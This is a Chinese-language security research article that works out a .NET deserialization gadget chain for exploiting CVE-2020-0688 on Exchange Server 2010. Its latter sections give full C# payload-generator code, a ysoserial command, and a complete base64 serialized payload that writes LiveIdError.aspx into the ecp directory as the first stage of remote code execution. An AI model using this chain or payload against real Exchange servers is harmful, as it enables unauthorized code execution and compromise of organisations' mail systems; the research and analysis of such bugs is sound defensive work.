探索低版本 .Net 反序列化实现 Exchange RCE

作者:EazyLov3

本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!

投稿邮箱:paper@seebug.org

0x10 起因

近期在众所周知的活动中,各种漏洞利用花样不断,值得好好复盘一番。其中一位蓝方朋友负责的Exchange Server 2010沦陷引起了我的兴趣,因为日志被删没有第一时间找到入侵方法,对比备份后发现ecp目录下存在一名为LiveIdError.aspx的空白文件,Google了一下才发现是CVE-2020-0688反序列化攻击 ,但细究一下竟发现没有针对Exchange Server 2010及以下版本的公开利用方法,似乎是因为低版本.Net Framework(下称fx)的反序列化限制而难以利用。

在可利用性得到@zcgonvh 前辈肯定之后,本文尝试复现这个漏洞在Exchange Server 2010环境下的利用方法。

0x20 漏洞相关资料

对.Net和Exchange都一无所知的我来说,首先要做的当然是先搞清楚为什么现有的PoC和利用方法不能利用在低版本,具体限制是什么。

0x21 现有的利用方式的关键Payload

在GitHub检索CVE-2020-0688关键字,排名靠前的有以下几个项目

https://github.com/Ridter/cve-2020-0688

https://github.com/random-robbie/cve-2020-0688

https://github.com/zcgonvh/CVE-2020-0688

https://github.com/Yt1g3r/CVE-2020-0688_EXP

https://github.com/Jumbo-WJB/CVE-2020-0688

大致看了一遍这些项目的说明和代码,核心Payload均是由ysoserial.net项目的TextFormattingRunProperties反序列化链构造而实现命令执行,其中zcgonvh前辈的红队武器化利用分析和exp大放异彩,实现真正的远程代码执行,使漏洞潜力得到完全发挥,分析、检测、利用和修复的方式都相当精致,堪称艺术。

多次研读文章,发现exp通过第一阶段反序列化漏洞攻击在ecp下写入LiveIdError.aspx白文件,第二阶段则通过默认MachineKey生成ViewState的序列化payload,POST给第一阶段生成的白文件执行,实现远程加载任意.Net代码。

搭建Exchange Server 2010环境手动在ecp下创建LiveIdError.aspx后发现同样可以使用第二阶段的利用,比较接近攻击者的思路。

因此本文也以寻找方法在第一阶段实现写入LiveIdError.aspx文件为目标。

而该exp第一阶段写入文件的Payload仍是由TextFormattingRunProperties反序列化链构造。

0x22 为什么是TextFormattingRunProperties

根据分析,这个漏洞本质上是ecp目录下默认加密密钥沿用多年结合viewstate特性造成,理论上该目录下所有aspx脚本均有可能触发,除非web.config特别声明该aspx由PageHandlerFactory以外的类处理, https://github.com/Yt1g3r/CVE-2020-0688_EXP 这里也列出了其他的触发点,而不局限于/ecp/default.aspx,只是路径不同导致VIEWSTATEGENERATOR参数值不同。又因为ecp下的web.config限制了大多数脚本可接受的请求方法和处理映射,导致默认情况下只能从少数aspx的GET请求中传入序列化payload。

而IIS的GET请求的参数和值长度加起来最多只能接受2048字节,而ysoserial.net项目生成的Payload大多很长,其中的由Oleksandr Mirosh发现TextFormattingRunProperties链则被特别标注为用于生成尽可能短的反序列化Payload,因此应用较多。

那么也先应用在低版本试试。

0x23 为什么TextFormattingRunProperties在低版本不可用

首先搭建Exchange Server 2010 SP3 + Windows Server 2008 R2,所有环境配置默认。

由于登陆过程有些细节不同,所以将zcgonvh的exp中做一些微调,主要是注释掉登录校验的return。

为了方便得到调试信息,直接在Exchange服务器上执行Exp,用burp抓包返回500报错,说明很可能已触发反序列化,但并没有写入LiveIdError.aspx文件,使用其它exp也无法执行命令。得到异常堆栈如下

[SerializationException: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.]

System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly() +3129209

System.Runtime.Serialization.Formatters.Binary.ObjectReader.GetType(BinaryAssemblyInfo assemblyInfo, String name) +10111295

System.Runtime.Serialization.Formatters.Binary.ObjectMap..ctor(String objectName, String[] memberNames, BinaryTypeEnum[] binaryTypeEnumA, Object[] typeInformationA, Int32[] memberAssemIds, ObjectReader objectReader, Int32 objectId, BinaryAssemblyInfo assemblyInfo, SizedArray assemIdToAssemblyTable) +198

System.Runtime.Serialization.Formatters.Binary.__BinaryParser.ReadObjectWithMapTyped(BinaryObjectWithMapTyped record) +272

System.Runtime.Serialization.Formatters.Binary.__BinaryParser.Run() +235

System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +559

System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +326

System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream) +33

System.Web.UI.ObjectStateFormatter.DeserializeValue(SerializerBinaryReader reader) +10963475

System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +136

[ArgumentException: The serialized data is invalid.]

System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +10963500

System.Web.UI.ObjectStateFormatter.Deserialize(String inputString) +446

System.Web.UI.Util.DeserializeWithAssert(IStateFormatter formatter, String serializedState) +59

System.Web.UI.HiddenFieldPageStatePersister.Load() +124

这里提示找不到Microsoft.PowerShell.Editor这个程序集,可根据TextFormattingRunProperties链首先发现者Oleksandr Mirosh的说明,这个程序集Win7以后即包含在系统中,只是可能需要修改版本号。直接在Exchange服务器上搜索这个dll,发现存在于C:\Windows\winsxs\msil_microsoft.powershell.editor_31bf3856ad364e35_6.1.7601.17514_none_e1afc4bb6ff47625目录下,反编译了一下只是包名有所不同,改改payload还能用,但这个目录似乎不在GAC中,祭出dnSpy在Windows Server 2008 R2环境下搜索这个类,同样无法找到,说明确实不在.net可全局调用的GAC中。

琢磨了一番,又不能通过指定路径的方式使反序列化的时候去调用到这个DLL,因此TextFormattingRunProperties链在这里似乎断裂了,至少我已经想不到还有什么办法能调用到它。

现在只能考虑寻找其他链来利用这个漏洞,并且利用链有两个必要条件,首先其用到的所有类必须在fx 3.5的默认GAC或Exchange的类库中,其次,生成的Payload不可过长,除去参数名,实际payload大约不能超过2000字节,这听起来太CTF了。

0x30 一些失败的尝试

检索一番资料后发现公开的.net反序列化链都已经汇总到ysoserial.net项目中,下载1.34版本测试这些链轮番上阵后均以失败告终,具体原因如下。

(*) ActivitySurrogateDisableTypeCheck 

这条链用于禁用fx4.8以上的类型检查,与本次漏洞利用无关

(*) ActivitySurrogateSelector

(*) ActivitySurrogateSelectorFromFile

以上两条链都是远程加载任意.Net程序集的形式,所以会大幅增加Payload长度,直接pass

(*) AxHostState

结合调用TextFormattingRunProperties故不可行

(*) ClaimsIdentity

同上

(*) DataSet

同上

(*) ObjectDataProvider

生成格式并非本次漏洞要求的BinaryFormatter

(*) PSObject

CVE-2017-8565攻击,这是为数不多的被微软修复的反序列化链,且不说已有补丁,这个类在fx3.5下压根没标记为可序列化,而且Payload长度也超出预期,当然也就不考虑继续利用。

(*) RolePrincipal

结合调用TextFormattingRunProperties故不可行

(*) SessionSecurityToken

同上

(*) SessionViewStateHistoryItem

同上

(*) TextFormattingRunProperties

低版本程序集不在GAC中,默认情况下无法调用到

(*) TypeConfuseDelegate

报错找不到SortedSet类,msdn文档显示该类仅存在于fx4.0以上

(*) TypeConfuseDelegateMono

同上

(*) WindowsClaimsIdentity

结合调用TextFormattingRunProperties故不可行

(*) WindowsIdentity

同上

(*) WindowsPrincipal

同上

可以发现格式符合且不依赖TextFormattingRunProperties链的只剩下ActivitySurrogateSelector,PSObject和TypeConfuseDelegate。

第一个缩短payload比较困难,第二个也是如此且有补丁暂时不考虑,第三个调用逻辑最简单,而且在查看ysoserial.net源代码时发现这个链有一段精简过的,硬编码的payload,长度仅1200字节左右,测试可以在Exchange Server 2013中使用,调用逻辑并不复杂,似乎有应用到更低版本的潜质。

0x40 修补残缺的链条

首先看看这条链的最先发现者James Forshaw的说明,这条链首先创建了一个多播(这里是两个String.Comparer)委托比较器,并由Comparer<String>.Create(Delegate)创建ComparisonComparer转换为IComparer<String>接口格式,然后由SortedSet<String>类包装并设定执行命令的参数,最后修改调用列表将其中一个String.Comparer委托改为执行命令的函数Process.Start(String)再将整个SortedSet对象序列化生成Payload,在反序列化的时候ComparisonComparer将会调用System.Comparison`1.Invoke(T x, T y)执行之前修改过的委托,从而实现任意代码执行。

按照原作者James Forshaw的说明,由于Comparer<String>Create(Delegate)函数只存在于.Net framework 4.5以上,所以只能应用于4.5以上,不过实测了一下由于ComparisonComparer在4.0就已经存在,而且反序列化过程中并不会调用到Comparer<String>.Create(Delegate),所以可以通过简单修改实现手动创建这个比较器即可实现在4.0下利用,但在3.5环境下尚不存在,另一关键的SortedSet类也是如此,所以这仍然不符合漏洞利用要求。

接下来尝试找到这两个关键零件的低版本替代。

0x41 缺失零件的前世今生

首先看最外层包装的SortedSet类,它本身是一个自动排序对象的集合类,因此替代品应该优先考虑在同一个包System.Collections.Generic下寻找类似特性的集合类,不过在Google这个类时发现大多资料都来源于Java中的SortedSet类,并且在Java中有一个TreeSet类几乎是唯一实现了SortedSet的类。

考虑到C#和Java是异父异母的亲兄弟,于是在微软公开的.Net代码库中检索了一番,发现确实也有TreeSet

而且是直接继承SortedSet类。

虽然是内部类,不过无所谓,在ysoserial.net源码中那段精简过的TypeConfusedelegate链payload里把SortedSet直接改为TreeSet编译后执行

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c calc -t -minify

仍可在fx 4.0下实现命令执行。

不过这份公开代码是fx 4.5以后的版本,3.5和更早以前版本的公开源码已经年代久远,找不到参考资料了。

不过奇怪的是在fx 4.0尚未发布的时候就有人在stackoverflow提过.Net中的TreeSet类相关的问题 ,推测TreeSet可能早已存在于fx中,但只是以内部类存在。直接祭出dnSpy,直接在本机的fx代码库寻找

果不其然,在2.0版本同一个包System.Collections.Generic下TreeSet就已经存在,没有SortedSet继承所以是独立实现。

大致查看了代码结构和反序列化行为与SortedSet对比只有一些细微的差异,在本次漏洞利用中可以认为没有区别,可直接作为SortedSet的替代品。

再来看看另一个零件ComparisonComparer,再次尝试在低版本同一个包下已寻找类似的替代,却发现几乎没有类似的实现,几乎没有接受Comparison的比较器。根据之前学习这条链的逻辑,最终通过调用System.Comparison`1.Invoke(T x, T y)去执行指定委托实现代码执行,System.Comparison类在低版本是存在的,那么对比分析一下Invoke方法在不同版本fx都有被哪些类调用过。

可以发现,同样调用这个方法的高低版本都有一个System.Array.FunctorComparer<T>.Compare(T, T),查看代码后发现结构几乎完全一致,仅私有变量命名少了个下划线而已,似乎可以替代ComparisonComparer。

但直接测试才发现这个类没有Serializable标记为可序列化而无法使用。难道这条路走不通?

0x42 序列化一个不可序列化的类

不甘心的继续研读zcgonvh的分析,发现这里提到

fx的程序集中存在两个极为重要的工厂类:[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微软的本意,只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的,而在反序列化操作中并没有要求返回类型满足上述约束(当然,这是特性而不是漏洞)。借助DelegateSerializationHolder,我们可以反序列化任何委托(无论方法、属性,也不分静态或实例);而借助ObjectSerializedRef可实现任意类反序列化。

看起来仍然有路可走,现在问题转化为序列化System.Array.FunctorComparer这个不可序列化的类。

继续检索资料,发现ActivitySurrogateSelector链可以序列化任意类,这条链同样由James Forshaw首先发现,从fx3.0起即可利用,出处同前一篇文章

从中抠出对应的PoC并且结合本次漏洞利用构造以下测试代码尝试构造序列化Payload并反序列化写入文件,由于写文件的WriteAllText函数没有返回值,这里由Func委托改为Action委托,另外需要对本机fx做一些改动所以可能测试代码在其它机器无法运行。

 class Program

{

public static Comparison<string> d { get; set; }

public static Delegate da { get; set; }

static void Main(string[] args)

{

ConfigurationSettings.AppSettings.Set(

"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",

"true"

);

da = new Comparison<string>(String.Compare);

d = (Comparison<string>)MulticastDelegate.Combine(da, da);

IComparer<string> comp = new System.Array.FunctorComparer<string>(d);

TreeSet<string> set = new TreeSet<string>(comp);

set.Add(@"LiveIdError.aspx");

set.Add("");

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);

object[] invoke_list = d.GetInvocationList();

invoke_list[1] = new Action<string, string>(File.WriteAllText);

fi.SetValue(d, invoke_list);

MemoryStream stream = new MemoryStream();

BinaryFormatter fmt = new BinaryFormatter();

SurrogateSelector ss = new MySu();

fmt.SurrogateSelector = ss;

fmt.Serialize(stream, set);

Console.WriteLine(Convert.ToBase64String(stream.ToArray()));

Console.ReadKey();

stream.Position = 0;

fmt.Deserialize(stream);

}

internal class MySu : SurrogateSelector

{

public override ISerializationSurrogate GetSurrogate(Type type,

StreamingContext context, out ISurrogateSelector selector)

{

selector = this;

if (!type.IsSerializable)

{

Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");

return (ISerializationSurrogate)Activator.CreateInstance(t);

}

return base.GetSurrogate(type, context, out selector);

}

}

}

实际执行发现序列化没有问题了,但反序列化却会报错空引用异常System.NullReferenceException,未将对象引用设置到对象的实例。

上dnSpy调试发现反序列化TreeSet时,接收到的构造参数Comparer竟然是null而不是预期的System.Array.FunctorComparer,这一点比较奇怪。

修改测试代码发现反序列化TreeSet时,System.Array.FunctorComparer还处于尚未反序列化状态,当然也就无法传给TreeSet,这可太奇怪了。

0x43 调整反序列化顺序

既然我遇到了这个问题,前辈们肯定也遇到过,因此继续尝试理解ActivitySurrogateSelector链。对比本次漏洞利用除了序列化任意类之外,两条链实际上关联不大,一开始以为需要引入Linq处理顺序问题,但迅速意识到那将会大幅增加Payload长度而被否决。反复研读原文和代码后发现

ActivitySurrogateSelector链的代码在第84行有这样一句注释

// Pre-load objects, this ensures they're fixed up before building the hash table.

随后将需要序列化的对象加入一个List中,并且最后也将角色类似本文TreeSet的Hashtable加入List,最后序列化整个List对象生成Payload。

照这么看,推测很可能是由于某个特性,默认情况下这些不可序列化的类最后才会被反序列化,而引入List来自定义各个对象的顺序可以解决这个问题。

0x44 最终实现

因此参照思路,再次修改测试代码如下

 class Program

{

public static Comparison<string> d { get; set; }

public static Delegate da { get; set; }

static void Main(string[] args)

{

ConfigurationSettings.AppSettings.Set(

"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",

"true"

);

da = new Comparison<string>(String.Compare);

d = (Comparison<string>)MulticastDelegate.Combine(da, da);

IComparer<string> comp = new System.Array.FunctorComparer<string>(d);

TreeSet<string> set = new TreeSet<string>(comp);

set.Add(@"LiveIdError.aspx");

set.Add("");

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);

object[] invoke_list = d.GetInvocationList();

invoke_list[1] = new Action<string, string>(File.WriteAllText);

fi.SetValue(d, invoke_list);

MemoryStream stream = new MemoryStream();

BinaryFormatter fmt = new BinaryFormatter();

SurrogateSelector ss = new MySu();

fmt.SurrogateSelector = ss;

List<object> ls = new List<object>();

ls.Add(comp);

ls.Add(set);

Console.WriteLine("[++] Serializing");

fmt.Serialize(stream, ls);

String payload = Convert.ToBase64String(stream.ToArray());

stream.Position = 0;

Console.WriteLine("[++] Deserializing");

fmt.Deserialize(stream);

Console.WriteLine(payload);

Console.Writeline("Payload Length: " + payload.Length);

Console.ReadKey();

}

internal class MySu : SurrogateSelector

{

public override ISerializationSurrogate GetSurrogate(Type type,

StreamingContext context, out ISurrogateSelector selector)

{

selector = this;

Console.WriteLine("[*] "+type);

if (!type.IsSerializable)

{

Console.WriteLine("[+] "+type);

Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");

return (ISerializationSurrogate)Activator.CreateInstance(t);

}

return base.GetSurrogate(type, context, out selector);

}

}

}

编译执行,反序列化顺利完成写入文件操作,证明思路正确。但生成的Payload有点长,达到三千多字节,参照ysoserial.net项目的精简思路,裁剪到大约1900字节以内,即可实现在默认路径的ecp下写入LiveIdError.aspx空白文件,payload如下:

AAEAAAD/////AQAAAAAAAAAEAQAAADJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3RdXQIAAAAGX2l0ZW1zBV9zaXplBQAICQIAAAACAAAAEAIAAAAEAAAACQMAAAAJBAAAAA0CDAUAAAAeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsBQMAAABqU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLlNlcmlhbGl6YXRpb24uQWN0aXZpdHlTdXJyb2dhdGVTZWxlY3RvcitPYmplY3RTdXJyb2dhdGUrT2JqZWN0U2VyaWFsaXplZFJlZgIAAAAEdHlwZQttZW1iZXJEYXRhcwMFAXgFAAAACQYAAAAJBwAAAAwIAAAABlN5c3RlbQUEAAAANVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlRyZWVTZXRgMVtbU3lzdGVtLlN0cmluZ11dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAQABggBeAUAAAAICAAAAAIAAAAJAwAAAAEAAAAJCgAAAAQGAAAAH1N5c3RlbS5Vbml0eVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAABERhdGEJVW5pdHlUeXBlDEFzc2VtYmx5TmFtZQEAAQgGCwAAAC9TeXN0ZW0uQXJyYXkrRnVuY3RvckNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQQAAAAGDAAAAAhtc2NvcmxpYhAHAAAAAgAAAAkNAAAACQ4AAAARCgAAAAIAAAAGDwAAAAAGEAAAAFBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE0XENsaWVudEFjY2Vzc1xlY3BcTGl2ZUlkRXJyb3IuYXNweAQNAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlAAF4AQEBCREAAAANAA0ABA4AAAA9U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0NvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQAAAAAEEQAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBhQAAABEU3lzdGVtLkFjdGlvbmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYl0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliXV0GFQAAAE5TeXN0ZW0uQ29yZSwgVmVyc2lvbj0zLjUuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkNAAkMAAAABhcAAAAOU3lzdGVtLklPLkZpbGUGGAAAAAxXcml0ZUFsbFRleHQJGQAAAAQSAAAAAXgGAAAAAAAAAAAAAQEBAQABCA0ADQANAA0AAAAAAA0AARMAAAASAAAABh4AAAAHQ29tcGFyZQ0ABiAAAAANU3lzdGVtLlN0cmluZw0ACAAAAAoBGQAAABEAAAAGIgAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJIAAAAAkeAAAACw==

后续使用zcgonvh前辈的exp即可如高版本一样实现任意代码执行,这里附一份整合本文的exp,使用方法不变,遇到Exchange Server 2010加上-v35参数即可,稍后提一份PR如果头像哥不嫌弃我代码垃圾也许会合并到exp项目。

0x50 弹个计算器?

由于payload长度限制的原因,直接执行命令在这个漏洞中已经意义不大,然而不管完美不完美,弹个计算器是每一个代码执行漏洞的基本要求,按同样的思路这里再测试一段弹计算器的Payload。

0x60 一点感想

这几年各种各样的漏洞层出不穷,各种一键GetShell比比皆是,然而烂尾的漏洞也不少,披露信息只有寥寥数语就再也没有后续或者实际利用存在各种限制,也许很多漏洞都值得重新调试来发现更多可能。

调试这个漏洞的过程中学到了大量.Net和反序列化相关的知识,非常感谢@zcgonvh 前辈的帮助,给了我强大的信心,但在下对这些知识的理解仍然十分粗浅,文中仍可能有错漏之处,敬请读者指正。

唯一纠结是LiveIdError.aspx这个全版本默认都不存在的文件本身作用到底是什么,检索了一些资料仍无法理解,结合默认沿用多年的MachineKey,多多少少让这个漏洞有点后门的嫌疑。

在调试完在CVE-2020-0688低版本的利用之后,再次回顾@zcgonvh 的分析文章,才发现竟然早已包含本文几乎所有必要知识,不得不说zcgonvh前辈真是功力深厚,而且对迟钝如我这样的菜鸟路人,仍愿意不厌其烦的提点,实在令人敬佩,神秘的A-TEAM又令人多向往了一分。

参考资料

https://www.t00ls.net/viewthread.php?tid=55183

https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282

以上是 探索低版本 .Net 反序列化实现 Exchange RCE 的全部内容, 来源链接: utcz.com/p/199752.html

回到顶部